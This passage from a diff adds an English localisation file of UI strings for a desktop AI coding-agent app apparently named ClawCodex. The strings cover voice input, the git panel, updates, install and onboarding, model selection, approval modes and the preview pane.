+    muted: 'Muted',
+    listening: 'Listening',
+    muteMic: 'Mute microphone',
+    unmuteMic: 'Unmute microphone',
+    stopListening: 'Stop listening and send',
+    stopShort: 'Stop',
+    endConversation: 'End voice conversation',
+    endShort: 'End',
+    stopDictation: 'Stop dictation',
+    transcribingDictation: 'Transcribing dictation',
+    voiceDictation: 'Voice dictation',
+    speakReplies: 'Read replies aloud',
+    stopSpeakingReplies: 'Stop reading replies aloud',
+    wakeWordListening: phrase => `Wake word: "${phrase}" — listening`,
+    wakeWordOff: phrase => `Wake word: "${phrase}" — off`,
+    wakeWordPausedVoice: phrase => `Wake word: "${phrase}" — paused during voice chat`,
+    lookupLoading: 'Looking up…',
+    lookupNoMatches: 'No matches.',
+    lookupTry: 'Try',
+    lookupOr: 'or',
+    commonCommands: 'Common commands',
+    hotkeys: 'Hotkeys',
+    helpFooter: 'opens the full panel · backspace dismisses',
+    commandDescs: {
+      '/help': 'full list of commands + hotkeys',
+      '/clear': 'start a new session',
+      '/resume': 'resume a prior session',
+      '/details': 'control transcript detail level',
+      '/copy': 'copy selection or last assistant message',
+      '/quit': 'exit clawcodex'
+    },
+    hotkeyDescs: {
+      'composer.mention': 'reference files, folders, urls, git',
+      'composer.slash': 'slash command palette',
+      'composer.help': 'this quick help (delete to dismiss)',
+      'composer.sendNewline': 'send · Shift+Enter for newline',
+      'composer.sendQueued': 'send next queued turn',
+      'keybinds.openPanel': 'all keyboard shortcuts',
+      'composer.cancel': 'close popover · cancel run',
+      'composer.history': 'cycle popover / history'
+    },
+    attachUrlTitle: 'Attach a URL',
+    attachUrlDesc: 'ClawCodex will fetch the page and include it as context for this turn.',
+    urlPlaceholder: 'https://example.com/post',
+    urlHintPre: 'Include the full URL, e.g. ',
+    attach: 'Attach',
+    queued: count => `${count} Queued`,
+    queuedPaused: count => `${count} Queued — paused`,
+    attachmentOnly: 'Attachment-only turn',
+    emptyTurn: 'Empty turn',
+    attachments: count => `${count} attachment${count === 1 ? '' : 's'}`,
+    editingInComposer: 'Editing in composer',
+    editingQueuedInComposer: 'Editing queued turn in composer',
+    queueEdit: 'Edit',
+    queueSendNext: 'Next',
+    queueSend: 'Send',
+    queueDelete: 'Delete',
+    queueResume: 'Resume',
+    queueResumeTip: 'Paused by Stop — resume sending the queued turns',
+    queueStuckTitle: 'Queued message not sent',
+    queueStuckBody: 'A queued turn kept failing to send. It is still in the queue — try sending it again.',
+    previewUnavailable: 'Preview unavailable',
+    previewLabel: label => `Preview ${label}`,
+    couldNotPreview: label => `Could not preview ${label}`,
+    removeAttachment: label => `Remove ${label}`,
+    dictating: 'Dictating',
+    preparingAudio: 'Preparing audio',
+    speakingResponse: 'Speaking response',
+    readingAloud: 'Reading aloud',
+    themeSuggestions: 'Desktop theme suggestions',
+    noMatchingThemes: 'No matching themes.',
+    themeTryPre: 'Try ',
+    themeTryPost: '.',
+    attachLabel: 'Attach',
+    files: 'Files…',
+    folder: 'Folder…',
+    images: 'Images…',
+    pasteImage: 'Paste image',
+    url: 'URL…',
+    promptSnippets: 'Prompt snippets…',
+    tipPre: 'Tip: type ',
+    tipPost: ' to reference files inline.',
+    snippetsTitle: 'Prompt snippets',
+    snippetsDesc: 'Pick a starter prompt to drop into the composer.',
+    dropFiles: 'Drop files to attach',
+    dropSession: 'Drop to link this chat',
+    snippets: {
+      codeReview: {
+        label: 'Code review',
+        description: 'Audit the current change for regressions, dropped edge cases, and missing tests.',
+        text: 'Please review this for bugs, regressions, and missing tests.'
+      },
+      implementationPlan: {
+        label: 'Implementation plan',
+        description: 'Outline an approach before touching code so the diff stays focused.',
+        text: 'Please make a concise implementation plan before changing code.'
+      },
+      explainThis: {
+        label: 'Explain this',
+        description: 'Walk through how the selected code works and link to the key files.',
+        text: 'Please explain how this works and point me to the key files.'
+      }
+    }
+  },
+
+  statusStack: {
+    agents: 'Agents',
+    background: count => `${count} Background`,
+    goalActive: 'Goal active',
+    goalDone: 'Goal done',
+    goalPaused: 'Goal paused',
+    goalWaiting: 'Goal waiting',
+    subagents: count => `${count} Subagent${count === 1 ? '' : 's'}`,
+    todos: (done, total) => `Tasks ${done}/${total}`,
+    running: 'Running',
+    stop: 'Stop',
+    dismiss: 'Dismiss',
+    exit: code => `exit ${code}`,
+    coding: {
+      title: 'Working tree',
+      noBranch: 'No branch',
+      detached: 'detached',
+      clean: 'Clean',
+      changed: count => `${count} changed`,
+      ahead: count => `${count} ahead`,
+      behind: count => `${count} behind`,
+      review: 'Review',
+      close: 'Close',
+      openChanges: 'Open Changes',
+      openFile: 'Open File',
+      stage: 'Stage',
+      unstage: 'Unstage',
+      stageAll: 'Stage all',
+      viewAsTree: 'View as tree',
+      viewAsList: 'View as list',
+      revert: 'Revert',
+      revertAll: 'Revert all',
+      revertConfirm: 'Discard changes to this file and restore it to the committed state? This cannot be undone.',
+      revertAllConfirm: 'Discard every change and restore files to the committed state? This cannot be undone.',
+      staged: 'Staged',
+      noChanges: 'No changes',
+      notRepo: 'Not a git repository',
+      noDiff: 'No diff to show',
+      scopeUncommitted: 'Uncommitted',
+      scopeBranch: 'Branch',
+      scopeLastTurn: 'Last turn',
+      commit: 'Commit',
+      commitAndPush: 'Commit & Push',
+      commitPlaceholder: 'Message (⌘↵ to commit)',
+      generateCommitMessage: 'Generate commit message',
+      stopGenerating: 'Stop generating',
+      createPr: 'Create PR',
+      openPr: 'Open PR',
+      ghMissing: 'Install the GitHub CLI (gh) and sign in to open PRs',
+      agentShip: 'Ask ClawCodex to open PR',
+      agentShipPrompt:
+        'Review the current changes, commit them with a clear conventional-commit message, push the branch, and open a pull request.',
+      newBranch: 'New branch',
+      branchOffFrom: base => `New branch from ${base}`,
+      switchTo: branch => `Switch to ${branch}`,
+      switchFailed: branch => `Could not switch to ${branch}`,
+      worktrees: 'Worktrees'
+    }
+  },
+
+  updates: {
+    stages: {
+      idle: 'Getting ready…',
+      prepare: 'Getting ready…',
+      fetch: 'Downloading…',
+      pull: 'Almost there…',
+      pydeps: 'Finishing up…',
+      update: 'Updating ClawCodex…',
+      rebuild: 'Rebuilding the desktop app…',
+      restart: 'Restarting ClawCodex…',
+      done: 'Update complete',
+      manual: 'Update from your terminal',
+      guiSkew: 'Update the desktop app',
+      error: 'Update paused'
+    },
+    checking: 'Looking for updates…',
+    checkFailedTitle: 'Couldn’t check for updates',
+    tryAgain: 'Try again',
+    notAvailableTitle: 'Update not available',
+    unsupportedMessage: 'This version of ClawCodex can’t update itself from inside the app.',
+    connectionRetry: 'Check your connection and try again.',
+    latestBody: 'You’re running the latest version.',
+    latestBodyBackend: 'The backend is running the latest version.',
+    allSetTitle: 'You’re all set',
+    availableTitle: 'New update available',
+    availableBody: 'A new version of ClawCodex is ready to install.',
+    availableTitleBackend: 'Backend update available',
+    availableBodyBackend: 'A newer version of the connected ClawCodex backend is ready to install.',
+    availableBodyNoChangelog: 'A newer version is ready. Release notes aren’t available for this install type.',
+    updateNow: 'Update now',
+    maybeLater: 'Maybe later',
+    moreChanges: count => `+ ${count} more change${count === 1 ? '' : 's'} included.`,
+    manualTitle: 'Update from your terminal',
+    manualBody: 'You installed ClawCodex from the command line, so updates run there too. Paste this into your terminal:',
+    manualPickedUp: 'ClawCodex will pick up the new version next time you launch it.',
+    guiSkewTitle: 'Update the desktop app',
+    guiSkewBody:
+      'The backend was updated, but this desktop app package wasn’t changed. Update or reinstall the ClawCodex desktop app (your AppImage / .deb / .rpm) to match.',
+    copy: 'Copy',
+    copied: 'Copied',
+    done: 'Done',
+    applyingBody:
+      'The ClawCodex updater takes over in its own window and reopens ClawCodex automatically when it’s done. Please don’t reopen ClawCodex yourself while it’s updating.',
+    applyingBodyBackend:
+      'The remote backend is applying the update and will restart. ClawCodex reconnects automatically when it’s back.',
+    applyingClose: 'This window will close while the update runs, then ClawCodex reopens on its own.',
+    errorTitle: 'Update didn’t finish',
+    errorBody: 'No worries — nothing was lost. You can try again now.',
+    notNow: 'Not now',
+    applyStatus: {
+      preparing: 'Updating backend…',
+      pulling: 'Backend updating…',
+      restarting: 'Backend restarting to load the update…',
+      notAvailable: 'Update not available for this backend.',
+      failed: 'Backend update failed.',
+      noReturn: 'Backend didn’t come back online. The update may not have completed — check the backend host.'
+    }
+  },
+
+  install: {
+    stageStates: {
+      pending: 'Pending',
+      running: 'Installing',
+      succeeded: 'Done',
+      skipped: 'Skipped',
+      failed: 'Failed'
+    },
+    oneTimeTitle: 'ClawCodex needs a one-time install',
+    unsupportedDesc: platform =>
+      `Automated first-launch install isn’t available on ${platform} yet. Open Terminal and run the command below, then relaunch this app. Subsequent launches will skip this step.`,
+    installCommand: 'Install command',
+    copyCommand: 'Copy command',
+    viewDocs: 'View install docs',
+    installTo: 'Will install to',
+    retryAfterRun: 'I’ve run it -- retry',
+    setupChoiceTitle: 'Set up ClawCodex Desktop',
+    setupChoiceDesc:
+      'Connect this app to a ClawCodex gateway you already run, or install ClawCodex locally on this computer.',
+    connectExistingTitle: 'Connect to existing ClawCodex',
+    connectExistingShort: 'Connect existing',
+    connectExistingDesc: 'Use a remote backend with a session token or browser sign-in. No local install will start.',
+    installLocalTitle: 'Install ClawCodex locally',
+    installLocalDesc: 'Download ClawCodex, create its Python environment, and run the backend on this computer.',
+    localStartUnavailable: 'Local installation could not start. Restart ClawCodex Desktop and try again.',
+    remoteSetupTitle: 'Connect to existing ClawCodex',
+    remoteSetupDesc: 'Enter your gateway URL. ClawCodex Desktop will detect whether it needs a token or browser sign-in.',
+    remoteUrlTitle: 'Gateway URL',
+    remoteUrlDesc: 'Use the base URL of the ClawCodex gateway, including https:// when remote.',
+    remoteUrlPlaceholder: 'https://gateway.example.com/clawcodex',
+    probing: 'Detecting gateway authentication...',
+    probeError: 'Could not reach that ClawCodex gateway.',
+    identityProvider: 'your identity provider',
+    authTitle: 'Authentication',
+    authNeedsOauth: provider => `Sign in with ${provider} before testing this gateway.`,
+    authSignedIn: 'Browser sign-in completed.',
+    connected: 'Connected',
+    signIn: 'Sign in',
+    signInWith: provider => `Sign in with ${provider}`,
+    enterUrlFirst: 'Enter a gateway URL first.',
+    signInIncomplete: 'The sign-in window closed before authentication completed.',
+    tokenTitle: 'Session token',
+    tokenDesc: 'Paste the session token from the remote gateway .env file.',
+    pasteSessionToken: 'Paste session token',
+    incompleteSignInTest: 'Sign in before testing this OAuth-gated gateway.',
+    incompleteTokenTest: 'Enter a session token before testing this gateway.',
+    testConnection: 'Test connection',
+    testSucceeded: (baseUrl, version) => `Connected to ${baseUrl}${version ? ` (${version})` : ''}.`,
+    applyRemote: 'Apply and reconnect',
+    backToSetup: 'Back',
+    failedTitle: 'Installation failed',
+    settingUpTitle: 'Setting up ClawCodex',
+    finishingTitle: 'Finishing up',
+    failedDesc:
+      'One of the install steps failed. On Windows, this can happen if another ClawCodex CLI or desktop instance is running. Stop any running ClawCodex instances, then retry. Check the details below or the desktop log for the full transcript.',
+    activeDesc:
+      'This is a one-time setup. The ClawCodex installer is downloading dependencies and configuring your machine. Subsequent launches will skip this step.',
+    progress: (completed, total) => `${completed} of ${total} steps complete`,
+    currentStage: stage => ` -- now: ${stage}`,
+    fetchingManifest: 'Fetching installer manifest...',
+    error: 'Error',
+    hideOutput: 'Hide installer output',
+    showOutput: 'Show installer output',
+    lines: count => `${count} line${count === 1 ? '' : 's'}`,
+    noOutput: 'No output yet.',
+    cancelling: 'Cancelling...',
+    cancelInstall: 'Cancel install',
+    transcriptSaved: 'Full transcript saved to',
+    copiedOutput: 'Copied!',
+    copyOutput: 'Copy output',
+    reloadRetry: 'Reload and retry'
+  },
+
+  onboarding: {
+    headerTitle: "Let's get you setup with ClawCodex",
+    headerDesc: 'Connect a model provider to start chatting. Most options take one click.',
+    preparingInstall: 'ClawCodex is finishing install. This usually takes under a minute on first run.',
+    starting: 'Starting ClawCodex…',
+    lookingUpProviders: 'Looking up providers...',
+    collapse: 'Collapse',
+    otherProviders: 'Other providers',
+    haveApiKey: 'I have an API key',
+    chooseLater: "I'll choose a provider later",
+    recommended: 'Recommended',
+    connected: 'Connected',
+    featuredPitch: 'One subscription, 300+ frontier models — the recommended way to run ClawCodex',
+    fireworksPitch: 'Direct model API — Fireworks-hosted frontier models',
+    openRouterPitch: 'One key, hundreds of models — a solid default',
+    apiKeyOptions: {
+      fireworks: {
+        short: 'direct model API',
+        description: 'Direct access to models hosted by Fireworks AI.'
+      },
+      openrouter: {
+        short: 'one key, many models',
+        description: 'Hosts hundreds of models behind a single key. Good default for new installs.'
+      },
+      openai: { short: 'GPT-class models', description: 'Direct access to OpenAI models.' },
+      gemini: { short: 'Gemini models', description: 'Direct access to Google Gemini models.' },
+      xai: { short: 'Grok models', description: 'Direct access to xAI Grok models.' },
+      local: {
+        short: 'self-hosted',
+        description: 'Point ClawCodex at a local or self-hosted OpenAI-compatible endpoint (vLLM, llama.cpp, Ollama, etc).'
+      }
+    },
+    backToSignIn: 'Back to sign in',
+    getKey: 'Get a key',
+    replaceCurrent: 'Replace current value',
+    pasteApiKey: 'Paste API key',
+    localApiKeyPlaceholder: 'API key (optional — only if your endpoint requires one)',
+    couldNotSave: 'Could not save credential.',
+    connecting: 'Connecting',
+    update: 'Update',
+    flowSubtitles: {
+      pkce: 'Opens your browser to sign in, then continues here',
+      device_code: 'Opens a verification page in your browser — ClawCodex connects automatically',
+      external: 'Sign in once in your terminal, then come back to chat'
+    },
+    startingSignIn: provider => `Starting sign-in for ${provider}...`,
+    verifyingCode: provider => `Verifying your code with ${provider}...`,
+    connectedProvider: provider => `${provider} connected`,
+    connectedPicking: provider => `${provider} connected. Picking a default model...`,
+    signInFailed: 'Sign-in failed. Try again.',
+    pickDifferentProvider: 'Pick a different provider',
+    signInWith: provider => `Sign in with ${provider}`,
+    openedBrowser: provider => `We opened ${provider} in your browser.`,
+    authorizeThere: 'Authorize ClawCodex there.',
+    copyAuthCode: 'Copy the authorization code and paste it below.',
+    pasteAuthCode: 'Paste authorization code',
+    reopenAuthPage: 'Re-open authorization page',
+    autoBrowser: provider =>
+      `We opened ${provider} in your browser. Authorize ClawCodex there and you'll be connected automatically — nothing to copy or paste.`,
+    reopenSignInPage: 'Re-open sign-in page',
+    waitingAuthorize: 'Waiting for you to authorize...',
+    externalPending: provider =>
+      `${provider} signs in through its own CLI. Run this command in a terminal, then come back and pick "I've signed in":`,
+    signedIn: "I've signed in",
+    deviceCodeOpened: provider => `We opened ${provider} in your browser. Enter this code there:`,
+    reopenVerification: 'Re-open verification page',
+    copy: 'Copy',
+    defaultModel: 'Default model',
+    freeTier: 'Free tier',
+    pro: 'Pro',
+    free: 'Free',
+    price: (input, output) => `${input} in / ${output} out per Mtok`,
+    change: 'Change',
+    startChatting: 'Begin',
+    docs: provider => `${provider} docs`
+  },
+
+  modelPicker: {
+    title: 'Switch model',
+    current: 'current:',
+    unknown: '(unknown)',
+    search: 'Filter providers and models...',
+    noModels: 'No models found.',
+    addProvider: 'Add provider',
+    loadFailed: 'Could not load models',
+    noAuthenticatedProviders: 'No authenticated providers.',
+    pro: 'Pro',
+    proNeedsSubscription: 'Pro models need a paid Nous subscription.',
+    free: 'Free',
+    freeTier: 'Free tier',
+    priceTitle: 'Input / Output price per million tokens',
+    wasPrice: 'was'
+  },
+
+  modelVisibility: {
+    title: 'Models',
+    search: 'Search models',
+    noAuthenticatedProviders: 'No authenticated providers.',
+    addProvider: 'Add provider…'
+  },
+
+  shell: {
+    windowControls: 'Window controls',
+    paneControls: 'Pane controls',
+    appControls: 'App controls',
+    modelMenu: {
+      search: 'Search models',
+      noModels: 'No models found',
+      editModels: 'Edit Models…',
+      refreshModels: 'Refresh Models',
+      fast: 'Fast'
+    },
+    modelOptions: {
+      noOptions: 'No options for this model',
+      options: 'Options',
+      thinking: 'Thinking',
+      fast: 'Fast',
+      effort: 'Effort',
+      minimal: 'Minimal',
+      low: 'Low',
+      medium: 'Medium',
+      high: 'High',
+      xhigh: 'Extra High',
+      max: 'Max',
+      ultra: 'Ultra',
+      updateFailed: 'Model option update failed',
+      fastFailed: 'Fast mode update failed'
+    },
+    gatewayMenu: {
+      gateway: 'Gateway',
+      connected: 'Connected',
+      connecting: 'Connecting',
+      offline: 'Offline',
+      inferenceReady: 'Inference ready',
+      inferenceNotReady: 'Inference not ready',
+      checkingInference: 'Checking inference',
+      disconnected: 'Disconnected',
+      openSystem: 'Open system panel',
+      connection: label => `Connection: ${label}`,
+      recentActivity: 'Recent activity',
+      viewAllLogs: 'View all logs →',
+      messagingPlatforms: 'Messaging platforms'
+    },
+    approvalMode: {
+      title: 'Approval mode',
+      ariaLabel: mode => `Approval mode: ${mode}`,
+      manual: 'Manual',
+      manualDescription: 'Ask before actions that require approval',
+      smart: 'Smart',
+      smartDescription: 'Automatically assess actions and ask when needed',
+      off: 'Off',
+      offDescription: 'Run without approval prompts'
+    },
+    statusbar: {
+      unknown: 'unknown',
+      restart: 'restart',
+      update: 'update',
+      updateInProgress: 'Update in progress',
+      commitsBehind: (count, branch) => `${count} commit${count === 1 ? '' : 's'} behind ${branch}`,
+      desktopVersion: version => `ClawCodex Desktop v${version}`,
+      backendVersion: version => `Backend v${version}`,
+      clientLabel: version => `client v${version}`,
+      connectionSsh: host => `SSH: ${host}`,
+      connectionRemote: host => `Remote: ${host}`,
+      connectionCloud: host => `Cloud: ${host}`,
+      connectionCloudTooltip: host => `ClawCodex Cloud · ${host}`,
+      connectionSshTooltip: host => `SSH · ${host}`,
+      connectionRemoteTooltip: host => `Remote · ${host}`,
+      backendLabel: version => `backend v${version}`,
+      commit: sha => `commit ${sha}`,
+      branch: branch => `branch ${branch}`,
+      closeCommandCenter: 'Close Command Center',
+      openCommandCenter: 'Open Command Center',
+      showTerminal: 'Show terminal',
+      hideTerminal: 'Hide terminal',
+      gateway: 'Gateway',
+      gatewayReady: 'ready',
+      gatewayNeedsSetup: 'needs setup',
+      gatewayChecking: 'checking',
+      gatewayConnecting: 'connecting',
+      gatewayOffline: 'offline',
+      gatewayRestarting: 'restarting…',
+      gatewayTitle: 'Gateway',
+      customizeTitle: 'Show in status bar',
+      hideStatusbar: 'Hide status bar',
+      toggleApprovalMode: 'Approvals',
+      toggleBackendVersion: 'Backend version',
+      toggleCommandCenter: 'Command Center',
+      toggleContextUsage: 'Context meter',
+      toggleRunningTimer: 'Turn timer',
+      toggleSessionTimer: 'Session timer',
+      toggleTerminal: 'Terminal',
+      toggleVersion: 'Version & updates',
+      toggleWorkspace: 'Workspace',
+      agents: 'Agents',
+      closeAgents: 'Close agents',
+      openAgents: 'Open agents',
+      subagents: count => `${count} subagent${count === 1 ? '' : 's'}`,
+      failed: count => `${count} failed`,
+      running: count => `${count} running`,
+      cron: 'Cron',
+      openCron: 'Open cron jobs',
+      webhooks: 'Webhooks',
+      openWebhooks: 'Open webhooks',
+      starmap: 'Memory Graph',
+      openStarmap: 'Open memory graph',
+      turnRunning: 'Running',
+      contextUsage: 'Context usage',
+      contextUsagePanel: {
+        categories: {
+          conversation: 'Conversation',
+          mcp: 'MCP',
+          memory: 'Memory',
+          rules: 'Rules',
+          skills: 'Skills',
+          subagent_definitions: 'Subagent definitions',
+          system_prompt: 'System prompt',
+          tool_definitions: 'Tool definitions'
+        },
+        empty: 'No context data yet',
+        loading: 'Loading breakdown…',
+        percentFull: percent => `${percent}% Full`,
+        title: 'Context Usage',
+        tokenSummary: (used, max) => `${used} / ${max} Tokens`
+      },
+      session: 'Session',
+      yoloOn: 'YOLO on — auto-approving dangerous commands. Shift+click toggles globally.',
+      yoloOff: 'YOLO off. Shift+click toggles globally.',
+      modelNone: 'none',
+      noModel: 'no model',
+      switchModel: 'Switch model',
+      openModelPicker: 'Open model picker',
+      modelPinned: 'pinned by you; new chats use this instead of the Settings default',
+      modelTitle: (provider, model) => `Model · ${provider}: ${model}`,
+      providerModelTitle: (provider, model) => `${provider} · ${model}`
+    }
+  },
+
+  rightSidebar: {
+    aria: 'Right sidebar',
+    panelsAria: 'Right sidebar panels',
+    files: 'File system',
+    terminal: 'Terminal',
+    noFolderSelected: 'No folder selected',
+    changeCwdTitle: 'Change working directory',
+    remotePickerTitle: 'Choose remote folder',
+    remotePickerDescription: 'Browse folders on the connected backend.',
+    remotePickerSelect: 'Select folder',
+    folderTip: cwd => cwd,
+    openFolder: 'Open folder',
+    refreshTree: 'Refresh tree',
+    collapseAll: 'Collapse all folders',
+    previewUnavailable: 'Preview unavailable',
+    couldNotPreview: path => `Could not preview ${path}`,
+    noProjectTitle: 'No project',
+    noProjectBody: 'Open a project to browse its files and review changes.',
+    noProjectOpen: 'No project open',
+    noDiffs: 'No diffs',
+    unreadableTitle: 'Unreadable',
+    unreadableBody: error => `Could not read this folder (${error}).`,
+    emptyTitle: 'Empty',
+    emptyBody: 'This folder is empty.',
+    treeErrorTitle: 'Tree error',
+    treeErrorBody: 'The file tree hit an error rendering this folder.',
+    tryAgain: 'Try again',
+    loadingTree: 'Loading file tree',
+    loadingFiles: 'Loading files',
+    terminalHide: 'Hide terminal',
+    terminalsAria: 'Terminals',
+    terminalNew: 'New terminal',
+    terminalCloseOthers: 'Close others',
+    terminalCloseAll: 'Close all',
+    addToChat: 'Add to chat'
+  },
+
+  preview: {
+    tab: 'Preview',
+    closePane: 'Close preview pane',
+    loading: 'Loading preview',
+    unavailable: 'Preview unavailable',
+    opening: 'Opening...',
+    hide: 'Hide',
+    openPreview: 'Open preview',
+    openInBrowser: 'Open in browser',
+    linkHint: '⌘/Ctrl-click for preview pane',
+    sourceLineTitle: 'Click to select · shift-click to extend · drag to composer',
+    source: 'SOURCE',
+    renderedPreview: 'PREVIEW',
+    diff: 'DIFF',
+    unknownSize: 'unknown size',
+    binaryTitle: 'This looks like a binary file',
+    binaryBody: label => `Previewing ${label} may show unreadable text.`,
+    largeTitle: 'This file is large',
+    largeBody: (label, size) => `${label} is ${size}. ClawCodex will only show the first 512 KB.`,
+    previewAnyway: 'Preview anyway',
+    truncated: 'Showing first 512 KB.',
+    noInlineTitle: 'No inline preview',
+    noInlineBody: mimeType => `${mimeType || 'This file type'} can still be attached as context.`,
+    edit: 'Edit',
+    editing: 'Editing',
+    unsavedChanges: 'Unsaved changes',
+    saveFailed: message => `Couldn't save: ${message}`,
+    diskChangedTitle: 'File changed on disk',
+    diskChangedBody:
+      'This file changed since you opened it. Overwrite it with your version, or discard your edits and reload?',
+    overwrite: 'Overwrite',
+    discardReload: 'Discard & reload',
+    console: {
+      deselect: 'Deselect entry',
+      select: 'Select entry',
+      copyFailed: 'Could not copy console output',
+      copyEntry: 'Copy this entry',
+      sendEntry: 'Send this entry to chat',
+      messages: count => `${count} console messages`,
+      resize: 'Resize preview console',
+      title: 'Preview Console',
+      selected: count => `${count} selected`,
+      sendToChat: 'Send to chat',
+      copySelected: 'Copy selected to clipboard',
+      copyAll: 'Copy all to clipboard',
+      copy: 'Copy',
+      clear: 'Clear',
+      empty: 'No console messages yet.',
+      promptHeader: 'Preview console:',
+      sentTitle: 'Sent to chat',
+      sentMessage: count => `${count} log entr${count === 1 ? 'y' : 'ies'} added to composer`
+    },
+    web: {
+      appFailedToBoot: 'Preview app failed to boot',
+      serverNotFound: 'Server not found',
+      failedToLoad: 'Preview failed to load',
+      tryAgain: 'Try again',
+      restarting: 'ClawCodex is restarting...',
+      askRestart: 'Ask ClawCodex to restart the server',
+      lookingRestart: taskId => `ClawCodex is looking for a preview server to restart (${taskId})`,
+      restartingTitle: 'Restarting preview server',
+      restartingMessage: 'ClawCodex is working in the background. Watch the preview console for progress.',
+      startRestartFailed: message => `Could not start server restart: ${message}`,
+      restartFailed: 'Server restart failed',
+      hideConsole: 'Hide preview console',
+      showConsole: 'Show preview console',
+      hideDevTools: 'Hide preview DevTools',
+      openDevTools: 'Open preview DevTools',
+      finishedRestarting: message => `ClawCodex finished restarting the preview server${message ? `: ${message}` : ''}`,
+      failedRestarting: message => `Server restart failed: ${message}`,
+      unknownError: 'unknown error',
+      restartedTitle: 'Preview server restarted',
+      reloadingNow: 'Reloading the preview now.',
+      restartFailedTitle: 'Preview restart failed',
+      restartFailedMessage: 'ClawCodex could not restart the server.',
+      stillWorking:
+        'ClawCodex is still working, but no restart result has arrived yet. The server command may be running in the foreground.',
+      workspaceReloading: 'Workspace changed, reloading preview',
+      fileChanged: url => `File changed, reloading preview: ${url}`,
+      filesChanged: (count, url) => `${count} file changes, reloading preview: ${url}`,
+      watchFailed: message => `Could not watch preview file: ${message}`,
+      moduleMimeDescription:
+        'Module scripts are being served with the wrong MIME type. This usually means a static file server is serving a Vite/React app instead of the project dev server.',
+      loadFailedConsole: (code, message) => `Load failed${code ? ` (${code})` : ''}: ${message}`,
+      unreachableDescription: 'The preview page could not be reached.',
+      openTarget: url => `Open ${url}`,
+      fallbackTitle: 'Preview'
+    }
+  },
+
+  zones: {
+    showHeader: 'Show header',
+    hideHeader: 'Hide header',
+    minimize: 'Minimize',
+    restore: 'Restore',
+    closeRunningTitle: 'Close running tab?',
+    closeRunningBody:
+      'This chat is still working (or waiting on your input). Closing the tab hides it — the session keeps its progress and can be reopened from the sidebar.',
+    closeRunningConfirm: 'Close tab',
+    reload: 'Reload',
+    closeOthers: 'Close others',
+    closeToRight: 'Close to the right',
+    closeAll: 'Close all',
+    newSessionTab: 'New session tab',
+    pluginDisabled: pluginId => `Plugin "${pluginId}" disabled`,
+    pluginDisabledBody: 'Re-enable it in Settings → Plugins to bring the pane back.',
+    missingPane: paneId => `missing pane: ${paneId}`,
+    editTitle: 'Layouts',
+    editHint: 'Pick a layout, or drag panes between zones.',
+    reset: 'Reset',
+    templates: 'Templates',
+    custom: 'Custom',
+    newGridLayout: 'New grid layout',
+    saveCurrentAs: 'Save current arrangement as a template',
+    nameLayoutPlaceholder: 'Name this layout…',
+    deletePreset: name => `Delete ${name}`,
+    zoneEditorTitle: 'Zone editor',
+    editorHintPre: 'click to split · ',
+    editorHintPost: ' flips the line · drag across zones to merge · drag shared edges to resize',
+    templateColumns: 'Columns',
+    templateRows: 'Rows',
+    templateGrid: 'Grid',
+    templatePriority: 'Priority',
+    zoneTag: index => `zone ${index}`,
+    mergeZones: count => `Merge ${count} zones`,
+    customZoneName: count => `Custom ${count}-zone`,
+    layoutNamePlaceholder: fallback => `Layout name (${fallback})`,
+    saveApply: 'Save & apply',
+    notExpressible: 'this arrangement interlocks (pinwheel) — not expressible as nested splits yet',
+    zoneCount: count => `${count} zones`,
+    tabCount: count => `${count} tabs`
+  },
+
+  assistant: {
+    thread: {
+      loadingSession: 'Loading session',
+      showEarlier: 'Show earlier messages',
+      loadingResponse: 'ClawCodex is loading a response',
+      resumeWhenBackgroundDone: count =>
+        count === 1
+          ? 'Will resume when the background task finishes'
+          : `Will resume when ${count} background tasks finish`,
+      thinking: 'Thinking',
+      thought: 'Thought',
+      thoughtBriefly: 'Thought briefly',
+      thoughtFor: duration => `Thought for ${duration}`,
+      today: time => `Today, ${time}`,
+      yesterday: time => `Yesterday, ${time}`,
+      copy: 'Copy',
+      refresh: 'Refresh',
+      moreActions: 'More actions',
+      branchNewChat: 'Branch in new chat',
+      react: 'React',
+      dismissError: 'Dismiss error',
+      filesChanged: count => (count === 1 ? '1 file changed' : `${count} files changed`),
+      reviewChanges: 'Review',
+      readAloudFailed: 'Read aloud failed',
+      preparingAudio: 'Preparing audio...',
+      stopReading: 'Stop reading',
+      readAloud: 'Read aloud',
+      editMessage: 'Edit message',
+      expandMessage: 'Expand message',
+      scrollToBottom: 'Scroll to bottom',
+      stop: 'Stop',
+      restorePrevious: 'Restore previous checkpoint',
+      restoreCheckpoint: 'Restore checkpoint',
+      restoreFromHere: 'Restore checkpoint — rerun from this prompt',
+      restoreTitle: 'Restore to this checkpoint?',
+      restoreBody:
+        'Everything after this prompt is removed from the conversation, and the prompt runs again from here.',
+      restoreConfirm: 'Restore & rerun',
+      restoreNext: 'Restore next checkpoint',
+      goForward: 'Go forward',
+      sendEdited: 'Send edited message',
+      attachingFile: 'Attaching…'
+    },
+    approval: {
+      gatewayDisconnected: 'ClawCodex gateway is not connected',
+      sendFailed: 'Could not send approval response',
+      run: 'Run',
+      command: 'Command',
+      moreOptions: 'More approval options',
+      allowSession: 'Allow this session',
+      alwaysAllowMenu: 'Always allow…',
+      jumpToApproval: 'Approval needed',
+      reject: 'Reject',
+      alwaysTitle: 'Always allow this command?',
+      alwaysDescription: pattern =>
+        `This adds the “${pattern}” pattern to your permanent allowlist (~/.clawcodex/config.yaml). ClawCodex won’t ask again for commands like this — in this session or any future one.`,
+      alwaysAllow: 'Always allow'
+    },
+    clarify: {
+      notReady: 'Clarify request is not ready yet',
+      gatewayDisconnected: 'ClawCodex gateway is not connected',
+      sendFailed: 'Could not send clarify response',
+      loadingQuestion: 'Loading question…',
+      other: 'Other (type your answer)',
+      placeholder: 'Type your answer…',
+      skip: 'Skip',
+      skipped: 'Skipped',
+      continueLabel: 'Continue',
+      lateAnswer: (question, choice) => `Re: "${question}" — my answer: ${choice}`,
+      lateAnswerTip: 'Draft this answer as a follow-up message',
+      lateAnswerHint: 'This prompt is no longer waiting. Pick an option to draft it as a follow-up message.'
+    },
+    tool: {
+      copyCode: 'Copy code',
+      renderingImage: 'Rendering image',
+      copyOutput: 'Copy output',
+      copyCommand: 'Copy command',
+      copyContent: 'Copy content',
+      copyUrl: 'Copy URL',
+      copyResults: 'Copy results',
+      copyQuery: 'Copy query',
+      copyFile: 'Copy file',
+      copyPath: 'Copy path',
+      outputAlt: 'Tool output',
+      rawResponse: 'Raw response',
+      copyActivity: 'Copy activity',
+      recoveredOne: 'Recovered after 1 failed step',
+      recoveredMany: count => `Recovered after ${count} failed steps`,
+      failedOne: '1 step failed',
+      failedMany: count => `${count} steps failed`,
+      statusRunning: 'Running',
